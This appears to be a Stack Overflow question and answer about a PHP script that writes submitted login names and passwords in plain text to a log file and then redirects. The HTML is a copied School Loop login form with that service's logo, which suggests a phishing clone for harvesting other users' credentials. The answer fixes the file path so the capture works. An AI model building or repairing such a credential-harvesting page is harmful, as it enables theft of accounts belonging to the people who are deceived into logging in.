-1

Im trying to grab usernames and passwords from my personal website to save to a .txt file. First I need to figure out what's wrong with my .php script because it's not writing to the file.

<?php
if(isset($_POST['login_name']) && isset($_POST['password'])) {
    $data = $_POST['login_name'] . '-' . $_POST['password'] . "\n";
    $ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);
    if($ret === false) {
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
    else {
        echo "$ret bytes written to file";
        header("Location: /portal/guest_home?etarget=login_form");
        die();
    }
}
else {
   header("Location: /portal/guest_home?etarget=login_form");
   die();
}

?>

The Login part of the HTML Code

<div class="shadow_round" style="width: 565px;">
<table border="0" cellpadding="0" cellspacing="0" width="100%"   >
    <tr>
        <td class="round-left gradient_blue padding_20">
            <a href="/"><img src="https://cdn.schoolloop.com/1501091742/img/logo_sl_login.png" width="152" height="60" alt="School Loop" /></a>
        </td>
        <td class="padding_20 round-right" style="background: #fff; width: 100%">   
<form name="form" id="form" action="/login.php" method="POST" autocomplete="off" name="form">
    <table width="100%" cellpadding='2' cellspacing='0' id="login_form" style="margin-right: 10px;">
        <tr>
            <td nowrap>
                <a href= "/portal/setLanguage?d=x&language=Spanish&return_url=1423243969895" class="link_language">Español</a><a href= "/portal/setLanguage?d=x&language=Chinese&return_url=1423243969895" class="link_language">&#20013;&#25991;</a>
            </td>
        </tr>
        <tr>
            <td>
                <div class="form_label_above" nowrap>Login Name:</div>
                    <input  class='Text'   type="text" name=login_name value="">
            </td>
        </tr>
        <tr>
            <td width="100%">
                <div class="form_label_above" nowrap>Password:</div>
                    <input  class='Text'   type='password' name=password value="">
                <div class="content_spacing_sm"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href= "javascript:document.form.event_override.value='login';document.form.submit();" class="btn-action-highlight-lg">Login</a>
                <a class="btn-standard-lg" href="/portal/register?d=x&return_url=1423243969895">Register Now</a>
                <div class="content_spacing"></div>
            </td>
        </tr>
        <tr>
            <td>
                <a href="/portal/forgot_password?d=x&return_url=1423243969895">Forgot password?</a>
                <br>
                <br>
                <a class="small" href="/portal/login">Secure Login</a>
            </td>
        </tr>
    </table>
    <input name="event.login" src="https://cdn.schoolloop.com/1501091742/img/spacer.gif" type="image">
    <input type="hidden" name="form_data_id" id="form_data_id" value="13063990464484724"><input type="hidden" name="reverse" id="reverse" value=""><input type="hidden" name="sort" id="sort" value=""><input type="hidden" name="login_form_reverse" id="login_form_reverse" value=""><input type="hidden" name="login_form_page_index" id="login_form_page_index" value=""><input type="hidden" name="login_form_page_item_count" id="login_form_page_item_count" value=""><input type="hidden" name="event_override" id="event_override" value=""><input type="hidden" name="login_form_sort" id="login_form_sort" value=""><input type="hidden" name="return_url" id="return_url" value=""><input type="hidden" name="forward" id="forward" value=""><input type="hidden" name="redirect" id="redirect" value=""><input type="hidden" name="login_form_letter" id="login_form_letter" value=""><input type="hidden" name="login_form_filter" id="login_form_filter" value="">
</form>
racecarjonathan
  • 1,244
  • 1
  • 11
  • 22
Ed K
  • 21
  • 1
  • 1
  • 6

1 Answers1

0

Your script is not saving because you probably set a wrong file to save to. Change

$ret = file_put_contents('/log.txt', $data, FILE_APPEND | LOCK_EX);

to

$ret = file_put_contents('./log.txt', $data, FILE_APPEND | LOCK_EX);

to save the file in the current path (where your script resides. Make sure you have write permissions for that directory). file_put_contents() requires a path to save to, using '/log.txt' would save that file to the root of your OS filesystem, not your Webserver document_root.